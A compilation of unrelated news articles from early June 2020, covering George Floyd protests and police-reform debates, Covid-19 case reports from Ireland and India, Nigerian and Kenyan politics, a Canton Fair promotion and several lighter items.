Do you approve or disapprove of the way Donald Trump is handling the response to the death of George Floyd in Minneapolis? (ABC News/Ipsos Poll)

Majorities across racial groups, too, disapprove of the president's response to Floyd's death, with the sharpest rebuke of the president coming from blacks, with 90% disapproval, compared to 59% of whites and 74% of Hispanics.

4:25 a.m.: North Dakota National Guard activated ahead of Friday demonstrations

More than 250 Minnesota and North Dakota National Guard members are being sent to their states' borders ahead of planned protests Friday in Fargo, North Dakota.

"The North Dakota National Guard is ready to assist local authorities to protect lives, property and critical infrastructure, preserve peace, and ensure public safety," a North Dakota National Guard spokesman told ABC News. "We have a company sized element from the 131 Military Police Battalion supporting this mission. Roughly 160 Soldiers."

North Dakota Gov. Doug Burgum made the call on Wednesday to activate the troops after authorities received credible threats.

The mayor's office in Fargo said the North Dakota Guard would be on hand to help keep the peace during demonstrations planned for Friday.

"Based on received threats, Fargo City Hall, the downtown Fargo Public Library and Fargo Municipal Court will be fully closed on Friday with all employees working remotely," the city of Fargo said in a statement. "The North Dakota National Guard has been activated to protect public infrastructure."

PHOTO: Police forces and National Guard vehicles are used to block 16th Street near Lafayette Park and the White House on June 3, 2020. (Drew Angerer/Getty Images)

The city said multiple organizations will take part in the "OneFargo" event Friday at a local park that is intended to be a family and community event. The city, however, said no protesters would be allowed to block public rights of way in any part of the city.

"The City will not tolerate violent acts targeting any individuals or property. The department will continually monitor any threats. We believe threats may exist but we don't have information suggesting there are specific targets regarding downtown businesses," the city said in a statement Thursday. "Business and property owners may make their own decisions as to what precautions they believe are best for them."Business and property owners may make their own decisions as to what precautions they believe are best for them."

ABC News' Matthew Seyler, Aaron Katersky, Luis Martinez, Alisa Wiersema, Matt Foster and Mark Crudele contributed to this report.

NYPD suspends cops filmed assaulting protesters originally appeared on abcnews.go.com
ALBANY  On Thursday afternoon, the citys Common Council said they would push for a series of reforms, including giving subpoena powers for city police records to the citys Community Police Review Board, as activists and other leaders called for broader changes.

The call for reforms comes after days of protests in Albany  and around the country over the death of George Floyd in Minneapolis and the treatment of black people at the hands of police  and the disclosure Wednesday the city was throwing out criminal charges against a couple who were arrested after they tried to record officers arresting another man. Mayor Kathy Sheehan later called the incident "troubling."

This council has heard and understands what the citizens of this city would like, so we in our capacity as legislators, would like to begin the process of addressing some of those concerns, said Council President Corey Ellis at a news conference in front of City Hall.

The Council is also calling for the state Legislature to repeal section 50-A of the states civil rights law, which shields police disciplinary records from being made public. Additionally, the council wants to ensure department-wide use of body cameras, to ask the police department, sheriffs office and district attorneys office to create new ways to draw minority recruits to the force and increase communication between the mayors office and police chief with the community.

If you say youre about fairness, if you say youre about justice, we ask you to put your money where your mouth is, said Councilman Jahmel Robinson.

On Thursday, Sheehan and Police Chief Eric Hawkins said in a statement they would be meeting with residents in person or over Zoom to listen to their concerns. The meetings will start Monday, June 8. To schedule one, residents are asked to email their contact information to change@albanyny.gov.

This is long overdue, said Councilman Kelly Kimbrough on the proposed reforms. If police cant police themselves, then someone else has to do it.

In a statement, Hawkins said some of the reforms the council is proposing are already part of the departments policies.

The men and women of the Albany Police Department understand that reforms are likely necessary and we have to have an opportunity to be part of the discussion and provide input, he said.

Sheehans staff said she was supportive of the proposed reforms, including giving subpoena power to the review board.

The Council press conference was partially co-opted by activists who came out to listen but then used a bullhorn to drown out council members when they took press questions, saying the Council wasnt doing enough to respond to their concerns and demands. Roughly 75 people gathered to listen to the council speak. Afterward, several dozen marched past the Executive and Legislative office building to the governors mansion before returning to City Hall.

Among their demands was that the city fire the officers who arrested Kimani Addison and his girlfriend Desiree Shuman on Tuesday afternoon. The pair were trying to film another mans arrest and a detectives demands that the pair keep moving back from the scene eventually escalated into the two being arrested and being charged with inciting a riot.

These people have to go, said organizer Lukee Forbes. Were hearing fluff. I dont want to hear fluff. I want to see solutions.

Throughout the week and on Thursday, other community activists and leaders in Albany and Schenectady alike said there are larger changes that needed to be made.

Shawn Young, a community organizer with Citizen Action, said the widespread outrage and protests could be turned into a positive moment for reinvestment in communities that had been historically underserved.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

We need to leverage this moment, leverage this time, make sure that those lives count for something. That those people are protesting, those tears and sweat and pain counts for something, he said.

County Legislator Carolyn McLaughlin said on Wednesday the peaceful protests and marches were people looking for answers.

What you saw here today is the positive side of people here looking for solutions, but everybody came because they felt like a knee had been on their neck, she said. We're looking for environmental justice. We're looking for educational justice. And we're looking out for young people, she said.

For roughly two hours Thursday, protesters marched throughout Schenectady, as well, demanding justice and change for their communities.

The march began in Veteran's Park and wended its way up to the Schenectady County Jail, where protesters then lay down in the middle of Veeder Street on their stomachs and with their hands behind their backs for a moment of silence. Traffic, which was light, was held up while they occupied the street. This scene repeated itself throughout the evening.

When they got up, they moved closer to the jail and chanted "Let our people go" after a succession of black residents shared their own interactions with police. Their march continued up Albany Street, turning onto Brandywine, and then State Street, Hulett Street, Hamilton Street and finally Jerry Burrell Park. As they walked they chanted "come outside, walk with us" at passersby and motorists. Many did, with their numbers eventually swelling to several hundred. Some motorists left their cars at the backed-up intersections to take a knee with the protesters in solidarity.

Jamaica Miles, founder of All of Us Community Action Group, led the march and urged black residents to help promote and elect each other into local positions of power.

Bethany Bump contributed reporting.
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35 migrants injured as bus falls into ditch in Uttar Pradesh

India

oi-Madhuri Adnal

Lucknow, June 05: At least 35 migrant labourers were injured, 10 of them are serious, when a bus carrying them from Rajasthan to Hamirpur fell into a ditch, police said on Friday.

The incident took place on Thursday at about 11 pm when the bus driver lost control and the vehicle fell into a roadside ditch, Circle officer, Massa Singh, said.

Portable social security number on the cards for migrant workers

Centre issues guidelines for the reopening of malls, offices and religious places | Oneindia News

Hearing screams of passengers, villagers rushed to the scene and pulled them out.

Later, police reached the spot and rushed the labourers to a hospital, where condition of 10 of them is stated to be serious.
Ogun State in South-west Nigeria has the highest number of political appointments made by President Muhammadu Buhari since his re-election in 2019 holding 17 out of a total 190 appointments, a document exclusively obtained by PREMIUM TIMES has revealed.

It is followed closely by Adamawa State with 14, and Kano, Lagos and Oyo states with 12 appointees each.

They are trailed by Katsina, Osun, Edo and Ondo with eight appointees apiece, Kwara and Ekiti with seven each while Delta comes next with six appointees.

States with the least appointments, according to the document, are Bayelsa, Ebonyi, Imo, Plateau and Zamfara, all of which have one political appointment each.

The Federal Capital Territory (FCT) has no single political appointee.

Ogun is the home state of Vice President Yemi Osinbajo.

Zonal distribution

On a zonal basis, the South-west geo-political zone, comprising Ogun, Osun, Oyo, Lagos, Ondo and Ekiti, tops the list with 64 appointees.

The North-west, Mr Buharis home zone, which has seven states altogether, comes a distant second with 37 appointees.

The states in the zone are Kebbi, Sokoto, Jigawa, Kaduna, Kano, Zamfara and Katsina where Mr Buhari hails from.

The North-east zone, comprising Yobe, Borno, Bauchi, Taraba, Gombe and Adamawa produced 29 appointees altogether.

Altogether, according to the SGF document, the six states of the South-south, namely Akwa Ibom, Bayelsa, Cross River, Delta, Edo and Rivers have 24 appointments while the North-central zone made up of Benue, Niger, Nasarawa, Plateau, Kogi and Kwara, all produced 21 appointees.

The South-east zone, which has the least number of states, also has the lowest number of appointments. The president made only 15 appointments from Abia, Anambra, Ebonyi, Enugu and Imo, the states making up the zone.

The document, sourced from the Office of the Secretary to the Government of the Federation, did not, however, enumerate appointments made by the president to the boards and management of federal ministries (permanent secretaries), agencies and parastatals (director generals, managing directors, executive secretaries, executive chairpersons, corps marshal among others).

It did not also contain ambassadorial appointments as well as those of the nations security agencies.

Breakdown

A further breakdown shows that at least 102 of the presidents aides come from the south which has 17 states while 87 come from the north with 19 states.

All 190 appointees serve in the offices of the president, vice president, the First Lady and the wife of the vice president.

According to the document, there are 27 ministers, 16 ministers of state, one secretary to the government of the federation, one head of the civil service of the federation, one chief of staff to the president and one deputy chief of staff, who serves in the office of the vice president, and a state chief of protocol.

There are also eight special advisers, 44 senior special assistants, 56 special assistants, 12 personal assistants, six senior technical assistants, and one technical assistant.

The appointments also include four personal physicians to the president, vice president and their wives.

Charles Dokubo, the special adviser on Niger Delta, who coordinates the Amnesty Programme, is currently on suspension. Mr Dokubo hails from Rivers.

This document did not, however, identify the state of the origin of one of the presidents assistants, Musa Bello, who is in charge of special intervention.

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More than 3,000 buyers from France attend the Canton Fair each session. The promotional event has presented the Fair's first virtual invitation to French companies and business owners. The event was designed to raise awareness of the digital technology adopted to create Canton Fair's first Online Exhibition, such as the registration process, live broadcasts and negotiation appointments.

Canton Fair to Highlight Sino-French Relationship in a New Era

The pandemic has had a considerable impact on international trade and investment. Further promoting the Sino-French business connection, the Canton Fair contributes to the joint response to COVID-19 and world trade and economic stability.

Gao Yuanyuan, Minister Counselor of the Economic and Commercial Office of the Chinese Embassy in France, noted in her event remarks, that during the 56 years of Sino-French diplomatic relations, Canton Fair has been supporting China-EU economic and trade cooperation. In a new and open post-pandemic era, the connection will bring more opportunities for both countries to pursue joint development in economic and commercial fields.

Alain EYGRETEAU, Vice-President of Paris Ile-de-France Chamber of Commerce and Industry, pointed out that the cloud promotion event marked the friendly relations between France and China, as well as between ICC Paris Region and Canton Fair.

Canton Fair Promotes Online International Trade

The digital Canton Fair is bringing significant value during this challenging time. This fair will not only allow global businesses to benefit from Chinese manufacturers but also create an open platform for international companies to enter the Chinese market. "Global buying and selling will help create a win-win scenario for international trade," said Xu Bing, Vice Secretary General and Spokesperson of the Canton Fair and Deputy Director General of China Foreign Trade Centre.

David MORAND, a buyer who has attended the Canton Fair for 15 years, is expecting the online event, as Canton Fair has offered a lot of convenience in sourcing China-made products. "Many suppliers I met at the Canton Fair have become long-term business partners, and I look forward to finding more quality exhibitors at this Canton Fair."

Moving forward, the Canton Fair will host more than 20 promotion cloud events around the world. Working with global partners, associations and buyer networks, Canton Fair will help buyers to adapt to a new model of online trade.

For more information, please visit: http://www.cantonfair.org.cn/en/index.aspx

Facebook: https://www.facebook.com/CantonFairOnline/

Twitter: https://twitter.com/cantonfair

LinkedIn: http://www.linkedin.com/company/cantonfair/

YouTube: https://www.youtube.com/user/Cantonfaironline

Instagram: https://www.instagram.com/cantonfaironline/

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In a remarkable potential break from her party, Republican Senator Lisa Murkowski told reporters on Thursday she is "struggling" with whether to back Donald Trump's reelection bid this November.

The Alaska senator also lauded former Defence Secretary James Mattis' condemnation this week of Mr Trump, saying the retired Marine general's letter to The Atlantic denouncing his former boss were "true and honest and necessary and overdue."

Ms Murkowski said she was "really thankful" for Mr Mattis' letter because she has been "struggling for the right words" to express her thoughts on the president's handling of recent events such as the anti-police-brutality protests that have swept the nation in the wake of the death of Minneapolis man George Floyd.

"When i saw General Mattis' comments yesterday I felt like perhaps we are getting to a point where we can be more honest with the concerns that we might hold internally and have the courage of our own convictions to speak up," she said.

Mr Mattis, who resigned from his post last year in protest of the president's abrupt decision to drawn down US forces in Syria, penned a letter in The Atlantic on Wednesday condemning his former boss's militant response to the anti-police-brutality protests throughout the US over the last week.

"Donald Trump is the first president in my lifetime who does not try to unite the American people  does not even pretend to try. Instead he tries to divide us. We are witnessing the consequences of three years of this deliberate effort. We are witnessing the consequences of three years without mature leadership," Mr Mattis wrote.

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The rising unemployment issue across various industries and organisations have left many people shocked and depressed. So, when actor Manav Gohil got to know that one of his friends was chucked out of his organisation during the lockdown, he felt concerned, and this became the subject of his short film Its Alright.

It all happened organically. I was thinking about my friend and looking at so many cases of people losing their jobs, be it rich or poor migrants and daily wage earners. So I thought that this is the most relevant topic to create something new. Shweta (Kawaatra, wife) was kind enough to help me shoot this at home and my daughter (Zahra Tabeetha Gohil, 8) too got featured for the first time, Gohil shares.

The short film, which is out on YouTube, showcases a father teaching his daughter how to play the keyboard and suddenly gets a call from his colleague who informs him that the organisation is undergoing a 40% cut on employment and that he should also start looking out for a job. Gohil shares, There are people worried about repaying loans of their house or car, or house rent, or paying their childs school fee. Our financial grounds have been badly shaken. With no source of earning, this leads them to depression and commit suicide, something which we keep reading about in the news.

While many people have left the city, be it aspiring actors, daily wage workers or migrants, Gohil feels that many of them might not want to return to Mumbai for work. However, he adds, Its their ambitions that will pull them back to the city. Mumbai is the city of aspirations and it will be buzzing with excitement again. Things are going to be normal but in a different way.

He feels that the need of the hour is learning to survive with basic needs. We have to tell ourselves that its going to be alright. We have to be patient and also seek help from friends and family. Its everyones fight and we all have to help and support each other. Also, instead of thinking too much about the financial crisis, we should take this time as an opportunity to grow and challenge ourselves to overcome every dire situation, Gohil says.
NEW HAVEN  A city man has been charged with home invasion and unlawful restraint after allegedly holding a woman at gunpoint in a Henry Street apartment Thursday, prompting a standoff with city police.

David George Williams, 45, is charged with home invasion, carrying a pistol without a permit, carrying a dangerous weapon, first-degree unlawful restraint, second-degree threatening and second-degree breach of peace, Capt. Anthony Duff said Friday. The dangerous weapon and pistol charge are related, Duff noted.

Williams, held in lieu of $500,000 bail, was transferred Friday morning to the departments detention center on Union Avenue, then to the Church Street courthouse, where he was expected to be arraigned, Duff said.

Officers responded to Henry Street at approximately 3:30 a.m. Thursday on a weapons complaint, finding that a man allegedly was holding a woman at gunpoint. Hostage negotiators and the SWAT team responded to the scene.

The suspect released the woman at around 9 a.m., police said. No immediate medical assistance was required, Duff said, and the woman received assistance from the departments Special Victims Unit.

Around 11:45 a.m., the male, identified as Williams, surrendered and exited the apartment.

Duff said he did not know the exact relationship between Williams and the victim, but it is believed to have been romantic at some point.

No one was hurt in the incident.

william.lambert@hearstmediact.com
Court to hear arguments on SLAPP suits

We are intervening in a 'defamation' case against environmental activists we believe is a perfect example of strategic litigation against public participation

[UPDATE]: Judgment in the matter has been reserved. View the recordings of the hearing from day one and day two with thanks to John G. I. Clarke.

From 9  10 June, the Western Cape High Court is set to hear arguments in a matter related to a defamation case brought by mining companies against environmental activists. CALS is intervening in the case as a friend of the court and will be arguing that the proceedings amount to an example of strategic litigation against public participation, otherwise known as a SLAPP suit.

In early 2017, Australian mining giant Mineral Commodities Limited and its subsidiary Mineral Sands Resources accused two environmental lawyers and a community activist of making defamatory statements during a university lecture. The three women found themselves facing years of litigation and as much as R1.25 million in damages  all for defending environmental rights. Concerned about the implications of such a case on the right to freedom of expression and the pattern of victimisation of activists in our country, CALS was granted leave to intervene in the matter as a friend of the court.

Starting on 9 June, the Western Cape High Court is set to hear an exception raised by the mining companies which deals with whether the matter constitutes an abuse of court process. CALS will be arguing that, in fact, this case is an example of strategic litigation against public participation (otherwise known as a SLAPP suit) and that we need to develop the law to properly respond to this kind of malicious litigation. This case has been joined with three other similar matters where the companies make allegations against activists and journalists without making a case for defamation.

SLAPP suits are used around the world by powerful entities to threaten and intimidate those who bring to light matters of public concern, says Thandeka Kathi. Their intention is not necessarily to win the case, but simply to waste the time and resources of the defendants. These two elements, being meritless and having an ulterior motive, are what define strategic litigation against public participation. Its also exactly what we see happening in this case: the matter is both without merit and intended to discourage the defendants from vindicating their rights.

Unfortunately, South Africa does not have specific legislation or sufficient case law to deal with SLAPP suits, says Sithuthukile Mkhize. In fact, weve only found one case in our law reports which specifically mentions SLAPP. Yet, we know from other jurisdictions the dangers of allowing those who have economic, political or social capital to litigate solely for the purposes of silencing their critics. We need to address this gap in our law. A SLAPP suit like this invoking the protection to the fundamental right to freedom of expression has not been litigated before, and this will help to develop the common law in line with the Constitution.

Read more in our heads of argument here.

The matter is set to be heard virtually by the Western Cape High Court on 9  10 June 2020.
If you enjoy scrolling through cutesy doggo pictures, going aww at every fluffball you see, this article is cut out for you! To give those puppers some good competition, we made a list of 6 Aussie animals that are so cute, youd want to bring them home.

Moreover, with the gloomy world news and the lazy lockdown, this sneak peek into the adorable Aussie wildlife is just the perfect little pick-me-up we all needed!

This Happy Koala Loves A Good Belly Scratch

Meet Wolverine, one of the many laidback and contented koalas that live at Queensland Currumbin Wildlife Sanctuary. His favourite way to unwind is undoubtedly a good belly scratch, sun-basking and some quality afternoon cuddle time!

These happy animals believe in good food, good mood and are very picky eaters. They eat only about 50 of over 700 species of eucalyptus leaves.

Sleepy Quokka AKA My Spirit Animal!

Mr Quokkas life mantra is invest in rest and this video is inspiring us to make the most of the slower pace in life.



Western Austalias Rottnest Island is home to numerous quokkas. Whats more? They are kind and enjoy striking a pose for selfies  something to add to our bucket list!

Underwater Shenanigans With Sea Lions

Unlike the wild and ferocious kings of the jungle, sea lions are playful and adorable. You can spot them flapping their flippers while looking happy, curious and friendly  all at once!



The catch a glimpse of the underwater antics, head straight to South Australias Port Lincoln (or just add it to your post-lockdown plans for now). The popular Eyre Peninsula is a tourist hub, all thanks to the unique wildlife experiences it offers.

Virtual Kangaroo Cuddles To Make Your Day Better

All you need is loveand kangaroo cuddles. This video of a lady hugging a baby roo gives us a sneak-peek into The Kangaroo Sanctuary in Alice Springs where dozens of orphaned kangaroos are rescued, sheltered and looked after.

The kangaroos here are always up for hugs and affection  cant wait to fly to Australia and have my very first rendezvous with a kangaroo already!

Up & About Like This Wombat

Unlike other Aussie animals which are cute and laidback, the wombat believes in springing out of his comfort zone and getting work done (we could all use some inspiration here!). These southern hairy-nosed wombats can be spotted at the Maria Island.



Keeping Calm Is Easy With This Serene Sea Turtle

If the lockdown stress is getting to you, just take a look at this relaxed sea turtle swimming gracefully amidst the waves. Personally, I watched this video on loop and it just made me want to take a dip in the calm ocean currents.



With 17 unique beaches surrounding Great Keppel Island in the Southern Great Barrier Reef, this happy sea turtle surely has her pick of morning swim spots.

Now thats a virtual tour of Aussie cutie-patooties that we could get used to!

So while were all cooped up in our homes, why dont we channel the wanderlust and make a bucket list of the places we want to explore? As for me, Im going to put interact with adorable Aussie animals on top of my list! Visit the official page of Tourism Australia for a deeper insight into what the Aussie land has in store for you.

What are your post-lockdown plans? Let us know in the comments section.
After surviving the Jubilee purge, Garissa Township MP Aden Duale has accused his Kieni counterpart Kanini Kega of plotting his removal as National Assembly Majority Leader.

According to Duale, Kega was keen on replacing him as the Majority Leader and that he used uncouth means such as extortion, threats and blackmail.

He is notoriously known for being the king of extortion who thrives in threats and blackmail. He has perfected the art of extortion so well that all he does is to purport to collect signatures only for him thereafter to solicit for favors from myself and my friends as bait for withdrawal of signatures, said Duale.

The National Assembly Standing Order 19 is clear on the process for removal of a Majority Leader which is by a majority of votes of all Members of the Majority Party in a Parliamentary Group chaired by the Party Leader and the decision thereafter is communicated by the Majority Whip to the Speaker. There is no place for collection of signatures.

In a statement Wednesday, Duale further accused Kanini Kega of driving the House Committee on Trade, Industry and Cooperatives  which he serves as Chairperson  to its deathbed using similar uncouth antics.

What Kanini Kega is however doing is to lie to his colleagues through unknown procedures that he can still have a say in the removal process when he is just playing his usual extortion game, said Duale.

He added: Hon. Kanini Kega, please note that being a Leader of Majority is not as easy as ABCD. It takes zeal, hard work, servant leadership, expertise, professionalism, experience and having the people of Kenya in your heart.

Question is if you killed the Committee on Trade which you chair through incompetence can you handle the position of the Leader of Majority Party?

This comes after Kanini Kega claimed that he had collected 117 signatures in his bid to oust Duale from the Majority of Leader post barely 24 hours after he was endorsed to continue serving in that capacity during the Jubilee Parliamentary Group meeting held on Tuesday.
Source: Xinhua| 2020-06-05 22:25:54|Editor: huaxia

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HONG KONG, June 5 (Xinhua) -- The Liaison Office of the Central People's Government (LOCPG) in the Hong Kong Special Administrative Region (HKSAR) said on Friday that it has collected more than 130 written opinions on the national security legislation and will forward them to the national legislature.

The LOCPG said these opinions were collected form the HKSAR deputies to the National People's Congress (NPC) and members of the National Committee of the Chinese People's Political Consultative Conference (CPPCC).

They will be handed in to the NPC Standing Committee, which has been entrusted to make national security laws to be promulgated and enforced in Hong Kong.

Deputies to the 13th NPC voted overwhelmingly on May 28 to approve the NPC Decision on Establishing and Improving the Legal System and Enforcement Mechanisms for the HKSAR to Safeguard National Security.

Chinese Vice Premier Han Zheng met with HKSAR Chief Executive Carrie Lam and several principal officials in Beijing on Wednesday to hear the HKSAR government's opinions on the national security legislation for the HKSAR.

Han said the legislation by the NPC Standing Committee in its next steps is to punish the criminal acts and activities that gravely endanger national security by a very small number of people and will not affect the legitimate rights and freedoms enjoyed and exercised by Hong Kong residents.

During the legislation process, the central authorities will hear opinions from people from all walks of life in Hong Kong in multiple ways, he said. Enditem
Meghan King Edmonds went all out for her twins Hayes and Hart's second birthday.

Sharing adorable snaps with her kids to Instagram on Thursday, the mother-of-three gave fans a look into the Disney themed party as she gushed over her twins.

The celebration for the twin comes amid Meghan's nasty divorce from Jim Edmonds, who did not seem to be partaking in birthday activities with Hayes and Hart as he is back home in Missouri.

Toddlers: Meghan King Edmonds marked her twins Hayes and Hart turning two on Thursday with a small Disney themed party posted to Instagram

Holding Hayes and Hart, she looked party ready in a grey Mickey Mouse t-shirt, denim mini skirt and mouse ears.

Posing in her kitchen with Aspen, three, who donned an adorable pink and white polka dot dress, Meghan, 35, beamed in the snaps.

'Hayes and Hart are TWO!' she wrote in her caption.

She went on to praise the different qualities in her boys saying, 'Hayes is compassionate, curious, shy, loves playing rough and carries a bat wherever he goes. Hart is resilient, outgoing, courageous, the biggest mamas boy ever, and takes no smack from nobody.'

Two for two: Posing in her kitchen with Aspen, three, who donned an adorable pink and white polka dot dress, Meghan, 35, beamed in the snaps. 'Hayes and Hart are TWO!' she wrote in her caption

Different twins: She went on to praise the different qualities in her boys saying 'Hayes is compassionate, curious, shy, loves playing rough and carries a bat wherever he goes. Hart is resilient, outgoing, courageous, the biggest mamas boy ever, and takes no smack from nobody.

She continued: 'These bundles of joy magically turned into toddlers. Maybe now I can actually savor the moments a little bit instead of just trying to survive them. Heres to TWO being TWO, Happy birthday, boys!'

In other snaps, with Hayes and Hart in high-chairs eating birthday cupcakes, Meghan placed kisses on both of their cheeks.

The toddlers also got snaps with Meghan's parents Kevin and Julie King, Kevin also donned mouse ears, while Julie matches Aspen in a bright pink blouse.

Celebrating: She continued: 'These bundles of joy magically turned into toddlers. Maybe now I can actually savor the moments a little bit instead of just trying to survive them. Heres to TWO being TWO, Happy birthday, boys'

Meghan and Jim, 49, married in 2014, and welcomed Aspen in 2016 and the twins in 2018.

Hart was born with irreversible brain damage, known as PVL and affects premature infants, and he struggles with motor skills.

He has been undergoing speech therapy, physical therapy, and occupational therapy in Los Angeles where she has been living with the children since her split from Jim.

In on the party: The toddlers also got snaps with Meghan's parents Kevin and Julie King, Kevin also donned mouse ears, while Julie matches Aspen in a bright pink blouse

Without Jim: It was the first birthday for the twins since Meghan split from their father Jim Edmonds, 49, last October, he was in Missouri on the day of their birthday as Meghan had moved to California

'So happy he is making such big strides. Still a little behind Hayes but so much better than 2 months ago.' Jim wrote with a photo of the little boy last month.

Meghan and Jim have both moved on, her with musician Christian Schauf, and him with Kortnie O'Conner who allegedly joined Meghan and Jim for a threesome during their marriage.

Though they have both found new love, Meghan and Jim are still battling it out amid their divorce.

The former couple have not been on amicable terms since they split in October 2019 and it's been revealed that Meghan is contesting the terms in the prenup she signed before they married in 2014.

Moved on: Though both Jim and Meghan have moved on, as he dates and has been quarantining with Kortnie O'Conner, his nasty split continues to get messier

'He pays for almost every single expense related to the children. And he pays half the rent on her Los Angeles beach house. Jim has been beyond generous to Meghan and provides full financial support for his children.'

Meghan responded to the statement asking for privacy.

'Im looking forward to putting this behind me amicably, and I dont wish to discuss the private details of my divorce at this time.' she told Us Weekly.

On a 2015 episode of Real Housewives of Orange County, Meghan explained why she agreed to sign a prenup with the former MLB player as a way to make Jim and his children from previous marriages comfortable with her and where her 'heart' was coming from.
As the debate around the cost of treatment for Covid-19 patients continues, the Supreme Court on Friday asked private hospitals if they were ready to provide treatment according to charges prescribed under the governments Ayushman Bharat scheme.

The Bench, headed by Chief Justice S A Bobde, observed that the SC was not asking all private hospitals to treat certain number of Covid-19 patients for free but was asking only those private hospitals, which have been given land at concessional rates by the government, to do so. I just want to know if hospitals are ...
Meat processing plants had the highest number of Covid-19 cases out of a number of at-risk settings being monitored by health officials, figures furnished by the National Public Health Emergency Team (NPHET) show.

A further three people have died from Covid-19, bringing the total number of fatalities across the country to 1,659, it was confirmed at the Wednesday briefing of NPHET.

A further 47 cases of the infectious disease were also confirmed bringing the total number of Covid-19 cases in Ireland to 25,111.

Deputy Chief Medical Officer Dr Ronan Glynn further confirmed there were 1,048 Covid-19 cases in meat processing plants as of last Saturday, following an increase of 123 in the past week.

Over that time, the number of cases in Direct Provision increased by three to 176, while the number of cases in homeless residential facilities rose by nine to 34, he confirmed.

The number of cases among the Roma community increased by 8 to 30 and the number of cases among the Traveller community remained stable at 64.

A total of 31 people were hospitalised across these settings in the past week.

There were no new deaths across any of the 'at risk' settings being monitored, Dr Glynn said.

On Thursday NPHET will meet to consider easing restrictions in the second phase of Covid-19 exit strategy next week, including easing restrictions impacting children and nursing homes.

Dr Tony Holohan, Chief Medical Officer, Department of Health, stressed there were a number of days to go before NPHET will make recommendations: Week 3 in the three-week cycle is the important week and were keeping a very close eye on the figures.

Meanwhile Inclusion Ireland has called for the introduction of a Covid-19 fund to support people with intellectual disabilities and their families.

Health Minister Simon Harris confirmed that 14 people have died from Covid-19 in disability services.

The virus caused outbreaks in 25% of disability services, with 650 people being identified with Covid-19 symptoms, of which 57% were staff and 43% were residents.

Inclusion Ireland also called on the Department of Health to publish a Capacity Review into Disability Services.
On Tuesday, May 26, we woke up to find a video circulating of a Minneapolis Police officer named Derek Chauvin kneeling on the neck of a man, choking him to death while onlookers begged him to stop and three other officers stood by and did nothing. The process of mourning George Floyds death has sparked a permanent, generational change to the mainstream view of policing in America.

When I ran for the Minneapolis City Council in 2017, I knew that the Police Department had a decades-long history of violence and discrimination. I ran on a platform of police reform informed by my experience seeing police persistently harass young black canvassers that I worked with as a community organizer, and by the police shooting of Jamar Clark in 2015, which prompted weeks of protest outside the fourth precinct. In 2017, the police shooting of Justine Damond further cemented accountability as a central theme of that campaign year.

In my first two years on the Council, several factors have reinforced the context for reform. Minneapolis Police officers shot and killed four more peopleThurman Blevins, Travis Jordan, Mario Benjamin, and Chiasher Fong Vueand were caught in a bodycam audit asking EMTs to sedate suspects and others with ketamine. The Police Federation refused to comply with a department ban on warrior training and took an intentionally divisive on-stage role at a Trump rally.

I have been surprised, then, by how difficult and controversial it has been to pass the relatively small budget changes that we have made, which have not even cut their budget but merely redirected some proposed increases to fund a new Office of Violence Prevention. Other programmatic proposals to change the way we police have been met with stiff institutional resistance.

The weight of that history was especially heavy when we learned of George Floyds murder. The accumulated grief and anger from years of police violence was brought to the surface, and thousands of people abandoned social distancing to take to the streets and demand justice. Minneapolis Police had an opportunity to distance themselves from Derek Chauvin, to express sympathy, to be a calming presence. Instead, they deployed tear gas and rubber bullets, effectively escalating the situation from protest to pitched conflict. By the next day, it was clear that people on Lake Street were rallying for much more than the prosecution of four officers. They were demonstrating their anger at decades of harassment and racialized violence and calling for it to end.

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The lack of change hasnt been for lack of trying. Most of us who are currently in office in Minneapolis ran on a platform that included police reform and accountability. Many elected leaders before us have tried and failed to achieve meaningful progress on those fronts, and for the first two years of our current term, so have we. To varying degrees, weve all imagined that reform was possible.

My assessment of what is now necessary is shaped by the failure of the reforms weve attempted, in the face of opposition from the department and the Police Federation. We have a talented, thoughtful police chief who has attempted some important steps. He has fired officers for significant abuses only to have his decisions overturned and those officers reinstated by arbitrators. Mayor Frey has met fierce resistance from the Federation to implement even minor policy changes.

There is another reason reform can be daunting, even scary. My reform advocacy, incremental though it has been, has prompted intense political attacks from police and their allies, who up to now have been confident that their support for police expansion was a mainstream point of view. And they do not limit their attacks to politics. Politicians who oppose the departments wishes find slowdowns in their wards. After we cut money from the proposed police budget, I heard from constituents whose 9-1-1 calls took forever to get a response, and I heard about officers telling business owners to call their councilman about why it took so long. Since Ive started talking publicly about this, elected officials from several cities and towns around the country have contacted me to tell me I am not alone in this experience.

The tragic events of last week have changed Minnesotans relationship to the police. After viewing George Floyds murder, watching police not only fail to apologize, but escalate the situation with aggressive tactics, and finally watching the department abandon neighborhood businesses to exclusively defend their precinct building, most of my constituents have had enough. The people that the department previously mobilized to advocate for more police are now either calling for structural change or staying quiet, hoping things will go back to normal. Things are not going back to normal.

Every member of the Minneapolis City Council has now expressed the need for dramatic structural change. I am one of many on the Council, including the Council President and the Chair of Public Safety, who are publicly supporting the call to disband our police department and start fresh with a community-oriented, non-violent public safety and outreach capacity. What I hear from most of my constituents is that they want to make sure we provide for public safety, and they have learned their whole lives to equate safety with police, but are now concluding that need not be the case.

We had already pushed for pilot programs to dispatch county mental health professionals to mental health calls, and fire department EMTs to opioid overdose calls, without police officers. We have similarly experimented with unarmed, community-oriented street teams on weekend nights downtown to focus on de-escalation. We could similarly turn traffic enforcement over to cameras and, potentially, our parking enforcement staff, rather than our police department.

Our city needs a public safety capacity that doesnt fear our residents. That doesnt need a gun at a community meeting. That considers itself part of our community. That doesnt resort quickly to pepper spray when people are understandably angry. That doesnt murder black people.

We can reimagine what public safety means, what skills we recruit for, and what tools we do and do not need. We can play a role in combating the systems of white supremacy in public safety that the death of black and brown lives has laid bare. We can invest in cultural competency and mental health training, de-escalation and conflict resolution. We can send a city response that that is appropriate to each situation and makes it better. We can resolve confusion over a $20 grocery transaction without drawing a weapon or pulling out handcuffs.

Mostlyand this might be the hardest part to envision and make realwe need to be more deeply engaged with each other. We need to build the relationship networks, skills, and capacity in our communities to support each other in resolving conflicts and keeping each other safe before things escalate dangerously. Our isolation from each other has required us to outsource the management of social interactions. We have to get relational.

Now is the time for us to put all of these ideas into practice, and we know that community members have a lot more. The whole world is watching. We can declare policing as we know it a thing of the past, and create a compassionate, non-violent future.
Protests continued across Oregon on Thursday, and some took place under flags flown at half-staff, as ordered by Oregon Gov. Kate Brown. Brown ordered public institutions to lower their flags from 11 a.m. to sunset in honor of George Floyd, who died May 25 after he was restrained for nearly nine minutes by a Minneapolis police officer who knelt on his neck.

